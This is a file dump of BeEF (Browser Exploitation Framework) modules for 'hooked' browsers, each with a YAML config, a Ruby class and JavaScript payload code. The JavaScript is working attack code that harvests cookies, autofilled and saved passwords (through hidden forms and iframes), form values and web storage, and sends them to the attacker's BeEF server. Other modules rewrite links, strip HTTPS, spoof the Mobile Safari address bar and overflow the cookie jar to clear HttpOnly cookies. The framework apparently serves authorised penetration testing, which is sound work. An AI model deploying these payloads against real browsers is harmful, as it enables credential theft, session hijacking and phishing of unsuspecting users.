# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: disable_developer_tools: enable: true category: ["Browser", "Hooked Domain"] name: "Disable Developer Tools" description: "This module prevents users from executing JavaScript within the Internet Explorer Developer Tools console." authors: ["bcoles", "KSpace"] target: user_notify: IE: min_ver: 8 max_ver: 11 not_working: ["All"]
Ruby
beef/modules/browser/hooked_domain/disable_developer_tools/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Disable_developer_tools < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] save content end end
JavaScript
beef/modules/browser/hooked_domain/get_autocomplete_creds/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { get_form_data = function(form_name) { var f = document.getElementById(form_name); var results = ''; for(i=0; i<f.elements.length; i++) { var k = f.elements[i].id; var v = f.elements[i].value; if (v != '') { results += k + '=' + v + '&'; } } if (results == '') { beef.debug("[Get Autocomplete Creds] Found no autocomplete credentials"); return; } beef.debug("[Get Autocomplete Creds] Found autocomplete data: '" + results + "'"); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.are.status_success()); } create_form = function(input_name) { var f = document.createElement("form"); f.setAttribute("id", "get_autocomplete_" + input_name + "_<%= @command_id %>"); f.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;"); var u_input = document.createElement('input'); u_input.setAttribute("id", input_name); u_input.setAttribute("name", input_name); u_input.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;"); u_input.setAttribute("type", "text"); f.appendChild(u_input); var p_input = document.createElement('input'); p_input.setAttribute("id", "password"); p_input.setAttribute("name", "password"); p_input.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;"); p_input.setAttribute("type", "password"); f.appendChild(p_input); document.body.appendChild(f); } var inputs = [ 'user', 'uname', 'username', 'user_name', 'login', 'loginname', 'login_name', 'email', 'emailaddress', 'email_address', 'session[username_or_email]', 'name' ]; beef.debug("[Get Autocomplete Creds] Creating forms ..."); for(i=0; i<inputs.length; i++) { var input_name = inputs[i]; create_form(input_name); setTimeout("get_form_data('get_autocomplete_" + input_name + "_<%= @command_id %>'); document.body.removeChild(document.getElementById('get_autocomplete_" + input_name + "_<%= @command_id %>'));", 2000); } });
YAML
beef/modules/browser/hooked_domain/get_autocomplete_creds/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_autocomplete_creds: enable: true category: ["Browser", "Hooked Domain"] name: "Get Autocomplete Credentials" description: "This module steals saved credentials for the hooked domain.<br/><br/>Tested on Firefox 68 and Chrome 49.<br/><br/>Note: On Firefox, the window must have focus." authors: ["bcoles"] target: working: ["FF", "C"] not_working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/get_autocomplete_creds/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_autocomplete_creds < BeEF::Core::Command def self.options [] end def post_execute content = {} content['results'] = @datastore['results'] save content end end
JavaScript
beef/modules/browser/hooked_domain/get_cookie/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success()); beef.debug("[Get Cookie] Cookie captured: "+document.cookie); }catch(e){ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error()); beef.debug("[Get Cookie] Error"); } });
YAML
beef/modules/browser/hooked_domain/get_cookie/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_cookie: enable: true category: ["Browser", "Hooked Domain"] name: "Get Cookie" description: "This module will retrieve the session cookie from the current page." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/get_cookie/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_cookie < BeEF::Core::Command def post_execute content = {} content['cookie'] = @datastore['cookie'] save content end end
JavaScript
beef/modules/browser/hooked_domain/get_form_values/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var input_values = new Array(); // loop through all forms var forms = document.forms; for (var f=0; f < forms.length; f++) { // store type,name,value for all input fields for (var i=0; i < forms[f].elements.length; i++) { input_values.push(new Array(forms[f].elements[i].type, forms[f].elements[i].name, forms[f].elements[i].value)); } } // store type,name,value for all input fields outside of form elements var inputs = document.getElementsByTagName('input'); for (var i=0; i < inputs.length; i++) { input_values.push(new Array(inputs[i].type, inputs[i].name, inputs[i].value)) } // return input field info if (input_values.length) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(unique(input_values))); // return if no input fields were found } else { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location); } });
YAML
beef/modules/browser/hooked_domain/get_form_values/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_form_values: enable: true category: ["Browser", "Hooked Domain"] name: "Get Form Values" description: "This module retrieves the name, type, and value of all input fields on the page." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/get_form_values/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_form_values < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] save content end end
JavaScript
beef/modules/browser/hooked_domain/get_local_storage/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if ('localStorage' in window && window['localStorage'] !== null) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "localStorage="+JSON.stringify(window['localStorage'])); } else beef.net.send("<%= @command_url %>", <%= @command_id %>, "localStorage="+JSON.stringify("HTML5 localStorage is null or not supported.")); });
YAML
beef/modules/browser/hooked_domain/get_local_storage/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_local_storage: enable: true category: ["Browser", "Hooked Domain"] name: "Get Local Storage" description: "Extracts data from the HTML5 localStorage object." authors: ["bcoles"] target: working: IE: min_ver: 8 max_ver: latest FF: # It's actually 3.5 but min_ver only supports integers min_ver: 4 max_ver: latest O: min_ver: 11 max_ver: latest C: min_ver: 4 max_ver: latest S: min_ver: 4 max_ver: latest not_working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/get_local_storage/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_local_storage < BeEF::Core::Command # More info: # http://dev.w3.org/html5/webstorage/ # http://diveintohtml5.org/storage.html # def post_execute content = {} content['localStorage'] = @datastore['localStorage'] save content end end
JavaScript
beef/modules/browser/hooked_domain/get_page_html/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var head = beef.browser.getPageHead(); var body = beef.browser.getPageBody(); var mod_data = 'head=' + head + '&body=' + body; beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success()); return [beef.are.status_success(), mod_data]; });
YAML
beef/modules/browser/hooked_domain/get_page_html/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_page_html: enable: true category: ["Browser", "Hooked Domain"] name: "Get Page HTML" description: "This module will retrieve the HTML from the current page." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/get_page_html/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_page_html < BeEF::Core::Command def post_execute content = {} content['head'] = @datastore['head'] content['body'] = @datastore['body'] save content end end
JavaScript
beef/modules/browser/hooked_domain/get_page_html_iframe/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var html_head = document.head.innerHTML.toString(); } catch (e) { var html_head = "Error: document has no head"; } try { var html_body = document.body.innerHTML.toString(); } catch (e) { var html_body = "Error: document has no body"; } try { var iframes = document.getElementsByTagName('iframe'); for(var i=0; i<iframes.length; i++){ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe'+i+'='+iframes[i].contentWindow.document.body.innerHTML); } var iframe_ = "Info: iframe(s) found"; } catch (e) { var iframe_ = "Error: document has no iframe or policy issue"; } beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_); });
YAML
beef/modules/browser/hooked_domain/get_page_html_iframe/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_page_html_iframe: enable: true category: ["Browser", "Hooked Domain"] name: "Get Page and iframe HTML" description: "This module will retrieve the HTML from the current page and any iframes (that have the same origin)." authors: ["bcoles", "kxynos"] target: working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/get_page_html_iframe/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_page_html_iframe < BeEF::Core::Command def post_execute content = {} content['head'] = @datastore['head'] content['body'] = @datastore['body'] content['iframe_'] = @datastore['iframe_'] save content end end
JavaScript
beef/modules/browser/hooked_domain/get_page_links/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+beef.dom.getLinks()); });
YAML
beef/modules/browser/hooked_domain/get_page_links/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_page_links: enable: true category: ["Browser", "Hooked Domain"] name: "Get Page HREFs" description: "This module will retrieve HREFs from the target page." authors: ["vo"] target: working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/get_page_links/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_page_links < BeEF::Core::Command def post_execute content = {} content['links'] = @datastore['links'] save content end end
JavaScript
beef/modules/browser/hooked_domain/get_session_storage/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if ('sessionStorage' in window && window['sessionStorage'] !== null) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "sessionStorage="+JSON.stringify(window['sessionStorage'])); } else beef.net.send("<%= @command_url %>", <%= @command_id %>, "sessionStorage="+JSON.stringify("HTML5 sessionStorage is null or not supported.")); });
YAML
beef/modules/browser/hooked_domain/get_session_storage/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_session_storage: enable: true category: ["Browser", "Hooked Domain"] name: "Get Session Storage" description: "Extracts data from the HTML5 sessionStorage object." authors: ["bcoles"] target: working: IE: min_ver: 8 max_ver: latest FF: # It's actually 3.5 but min_ver only supports integers min_ver: 4 max_ver: latest O: min_ver: 11 max_ver: latest C: min_ver: 4 max_ver: latest S: min_ver: 4 max_ver: latest not_working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/get_session_storage/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_session_storage < BeEF::Core::Command # More info: # http://dev.w3.org/html5/webstorage/ # http://diveintohtml5.org/storage.html # def post_execute content = {} content['sessionStorage'] = @datastore['sessionStorage'] save content end end
JavaScript
beef/modules/browser/hooked_domain/get_stored_credentials/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var form_data = new Array(); var login_url = "<%= @login_url %>"; var internal_counter = 0; var timeout = 30; // create iframe iframe = document.createElement("iframe"); iframe.setAttribute("id","credentials_container_<%= @command_id %>"); iframe.setAttribute("src", login_url); iframe.setAttribute("style","display:none;visibility:hidden;border:none;height:0;width:0;"); document.body.appendChild(iframe); // try to read form data from login page function waituntilok() { var iframe = document.getElementById("credentials_container_<%= @command_id %>"); try { // check if login page is ready if (iframe.contentWindow.document.readyState != "complete") { if (internal_counter > timeout) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Timeout after '+timeout+' seconds'); document.body.removeChild(iframe); } else { internal_counter++; setTimeout(function() {waituntilok()},1000); } return; } // find all forms with a password input field for (var f=0; f < iframe.contentWindow.document.forms.length; f++) { for (var e=0; e < iframe.contentWindow.document.forms[f].elements.length; e++) { // return form data if it contains a password input field if (iframe.contentWindow.document.forms[f].elements[e].type == "password") { for (var i=0; i < iframe.contentWindow.document.forms[f].elements.length; i++) { form_data.push(new Array(iframe.contentWindow.document.forms[f].elements[i].type, iframe.contentWindow.document.forms[f].elements[i].name, iframe.contentWindow.document.forms[f].elements[i].value)); } break; } } } // return results if (form_data.length) { // return form data beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data='+JSON.stringify(form_data)); } else { // return if no password input fields were found beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Could not find any password input fields on '+login_url); } } catch (e) { // return if no forms were found or login page is cross-domain beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Could not read form data from '+login_url); } document.body.removeChild(iframe); } // wait until the login page has loaded setTimeout(function() {waituntilok()},1000); });
YAML
beef/modules/browser/hooked_domain/get_stored_credentials/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_stored_credentials: enable: true category: ["Browser", "Hooked Domain"] name: "Get Stored Credentials" description: "This module retrieves saved username/password combinations from the login page on the hooked domain.<br /><br />It will fail if more than one set of domain credentials are saved in the browser." authors: ["bcoles"] target: working: ["FF"] not_working: ["All"]
Ruby
beef/modules/browser/hooked_domain/get_stored_credentials/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_stored_credentials < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" uri = "#{base_host}/demos/butcher/index.html" [ { 'name' => 'login_url', 'description' => 'Login URL', 'ui_label' => 'Login URL', 'value' => uri, 'width' => '400px' } ] end def post_execute content = {} content['form_data'] = @datastore['form_data'] save content end end
JavaScript
beef/modules/browser/hooked_domain/link_rewrite/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>')+' links rewritten to <%= @url %>'); });
YAML
beef/modules/browser/hooked_domain/link_rewrite/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: link_rewrite: enable: true category: ["Browser", "Hooked Domain"] name: "Link Rewrite" description: "This module will rewrite all the href attributes of all matched links." authors: ["passbe"] target: working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/link_rewrite/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Link_rewrite < BeEF::Core::Command def self.options [ { 'ui_label' => 'URL', 'name' => 'url', 'description' => 'Target URL', 'value' => 'http://beefproject.com/', 'width' => '200px' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/browser/hooked_domain/link_rewrite_click_events/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksClickEvents('<%= @url %>')+' links rewritten to <%= @url %>'); });
YAML
beef/modules/browser/hooked_domain/link_rewrite_click_events/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: link_rewrite_click_events: enable: true category: ["Browser", "Hooked Domain"] name: "Link Rewrite (Click Events)" description: "This module will rewrite all the href attributes of all matched links using Bilawal Hameed's updating of click event handling. This will hide the target site for all updated links." authors: ["xntrik", "@bilawalhameed", "passbe"] target: not_working: ["O"] working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/link_rewrite_click_events/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Link_rewrite_click_events < BeEF::Core::Command def self.options [ { 'ui_label' => 'URL', 'name' => 'url', 'description' => 'Target URL', 'value' => 'http://beefproject.com/', 'width' => '200px' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/browser/hooked_domain/link_rewrite_sslstrip/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { selector = "a"; old_protocol = "https"; new_protocol = "http"; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksProtocol(old_protocol, new_protocol, selector)+' '+old_protocol+' links rewritten to '+new_protocol); });
YAML
beef/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: link_rewrite_sslstrip: enable: true category: ["Browser", "Hooked Domain"] name: "Link Rewrite (HTTPS)" description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Link_rewrite_sslstrip < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/browser/hooked_domain/link_rewrite_tel/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var tel_number = "<%= @tel_number %>"; var selector = "a"; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteTelLinks(tel_number, selector)+' telephone (tel) links rewritten to '+tel_number); });
YAML
beef/modules/browser/hooked_domain/link_rewrite_tel/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: link_rewrite_tel: enable: true category: ["Browser", "Hooked Domain"] name: "Link Rewrite (TEL)" description: "This module will rewrite all the href attributes of telephone links (ie, tel:5558585) to call a number of your choice." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/link_rewrite_tel/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Link_rewrite_tel < BeEF::Core::Command def self.options [ { 'ui_label' => 'Number', 'name' => 'tel_number', 'description' => 'New telephone number', 'value' => '5558585', 'width' => '200px' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // var somethingsomething = function() { var fake_url = "<%= @fake_url %>"; var real_url = "<%= @real_url %>"; var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes'); newWindow.document.write('<iframe style="width:100%;height:100%;border:0;padding:0;margin:0;" src="' + real_url + '"></iframe>'); newWindow.focus(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked'); } beef.execute(function() { $j('<%= @domselectah %>').each(function() { $j(this).attr('href','#').click(function() { somethingsomething(); return true; }); }); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten'); });
YAML
beef/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: mobilesafari_address_spoofing: enable: true category: ["Browser", "Hooked Domain"] name: "iOS Address Bar Spoofing" description: "Mobile Safari iOS 5.1 Address Bar Spoofing. This is fixed in latest version of Mobile Safari (the URL turns 'blank')" authors: ["bcoles", "xntrik", "majorsecurity.net"] target: working: S: os: ["iOS"] not_working: ALL: os: ["All"]
Ruby
beef/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Mobilesafari_address_spoofing < BeEF::Core::Command def self.options [ { 'name' => 'fake_url', 'ui_label' => 'Fake URL', 'type' => 'text', 'value' => 'http://en.wikipedia.org/wiki/Beef' }, { 'name' => 'real_url', 'ui_label' => 'Real URL', 'type' => 'text', 'value' => 'http://www.beefproject.com' }, { 'name' => 'domselectah', 'ui_label' => 'jQuery Selector for Link rewriting. \'a\' will overwrite all links', 'type' => 'text', 'value' => 'a' } ] end def post_execute content = {} content['results'] = @datastore['results'] content['query'] = @datastore['query'] save content end end
JavaScript
beef/modules/browser/hooked_domain/overflow_cookiejar/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var preserveCookies = '<%= @preserveCookies %>' var initialtimestamp; var currenttimestamp; var i = 0; var preservedCookies; function setCookie(cname,cvalue){ document.cookie = cname + "=" + cvalue; } function getCookie(cname){ var name = cname + "="; var ca = document.cookie.split(';'); for(var i=0; i<ca.length; i++){ var c = ca[i].trim(); if (c.indexOf(name)==0) return c.substring(name.length,c.length); } return ""; } function deleteAllCookies(){ var cookies = document.cookie.split(";"); if (cookies.length > 0){ var cookie = cookies[0]; var eqPos = cookie.indexOf("="); var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie; document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT"; if (cookies.length > 1){ //Timeout needed because otherwise cookie write loop freezes render thread setTimeout(deleteAllCookies,1); } else{ if (preserveCookies){ var pc = preservedCookies.split(';'); for(var i=0; i<pc.length; i++){ var c = pc[i].trim(); document.cookie = c; } } beef.net.send("<%= @command_url %>", <%= @command_id %>, 'Attempt to overflow the Cookie Jar completed'); } } } function overflowCookie() { if(getCookie(initialtimestamp) === "BeEF") { currenttimestamp = Date.now(); setCookie(currenttimestamp,"BeEF"); //Timeout needed because otherwise cookie write loop freezes render thread setTimeout(overflowCookie, 1); } else{ deleteAllCookies(); } } function overflowCookieJar(){ preservedCookies = document.cookie; initialtimestamp = Date.now(); setCookie(initialtimestamp,"BeEF"); overflowCookie(); } overflowCookieJar(); });
YAML
beef/modules/browser/hooked_domain/overflow_cookiejar/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: overflow_cookiejar: enable: true category: ["Browser", "Hooked Domain"] name: "Overflow Cookie Jar" description: "This module attempts to perform John Wilander's CookieJar overflow. He demonstrated this in his <a href='https://www.owasp.org/index.php/OWASP_1-Liner'>Owasp 1-liner project</a>. With this module, cookies that have the HTTPOnly-flag and/or HTTPS-flag can be wiped. You can try to recreate these cookies afterwards as normal cookies." authors: ["Bart Leppens"] target: working: ["S", "C", "FF", "IE"]
Ruby
beef/modules/browser/hooked_domain/overflow_cookiejar/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Overflow_cookiejar < BeEF::Core::Command def self.options [ { 'name' => 'preserveCookies', 'type' => 'checkbox', 'ui_label' => 'Attempt to preserve all non-httpOnly cookies', 'checked' => 'true' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/browser/hooked_domain/prompt_dialog/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var answer = prompt("<%== @question %>","") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer); });
YAML
beef/modules/browser/hooked_domain/prompt_dialog/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: prompt_dialog: enable: true category: ["Browser", "Hooked Domain"] name: "Create Prompt Dialog" description: "Sends a prompt dialog to the hooked browser." authors: ["wade", "bm"] target: user_notify: ['ALL']
Ruby
beef/modules/browser/hooked_domain/prompt_dialog/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Prompt_dialog < BeEF::Core::Command def self.options [ { 'name' => 'question', 'description' => 'Prompt text', 'ui_label' => 'Prompt text' } ] end # # This method is being called when a zombie sends some # data back to the framework. # def post_execute # return if @datastore['answer']=='' save({ 'answer' => @datastore['answer'] }) end end
JavaScript
beef/modules/browser/hooked_domain/remove_stuck_iframes/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var html_head = document.head.innerHTML.toString(); } catch (e) { var html_head = "Error: document has no head"; } try { var html_body = document.body.innerHTML.toString(); } catch (e) { var html_body = "Error: document has no body"; } try { var iframes = document.getElementsByTagName('iframe'); var iframe_count = iframes.length; for(var i=0; i<iframe_count; i++){ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_found'); iframes[i].parentNode.removeChild(iframes[i]); beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_removed'); } var iframe_ = "Info: "+ iframe_count +" iframe(s) processed"; } catch (e) { var iframe_ = "Error: can not remove iframe"; } beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_); });
YAML
beef/modules/browser/hooked_domain/remove_stuck_iframes/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: remove_stuck_iframes: enable: true category: ["Browser", "Hooked Domain"] name: "Remove stuck iframe" description: "This module will remove any stuck iframes (beware it will remove all of them on that node!)." authors: ["kxynos"] target: working: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/remove_stuck_iframes/module.rb
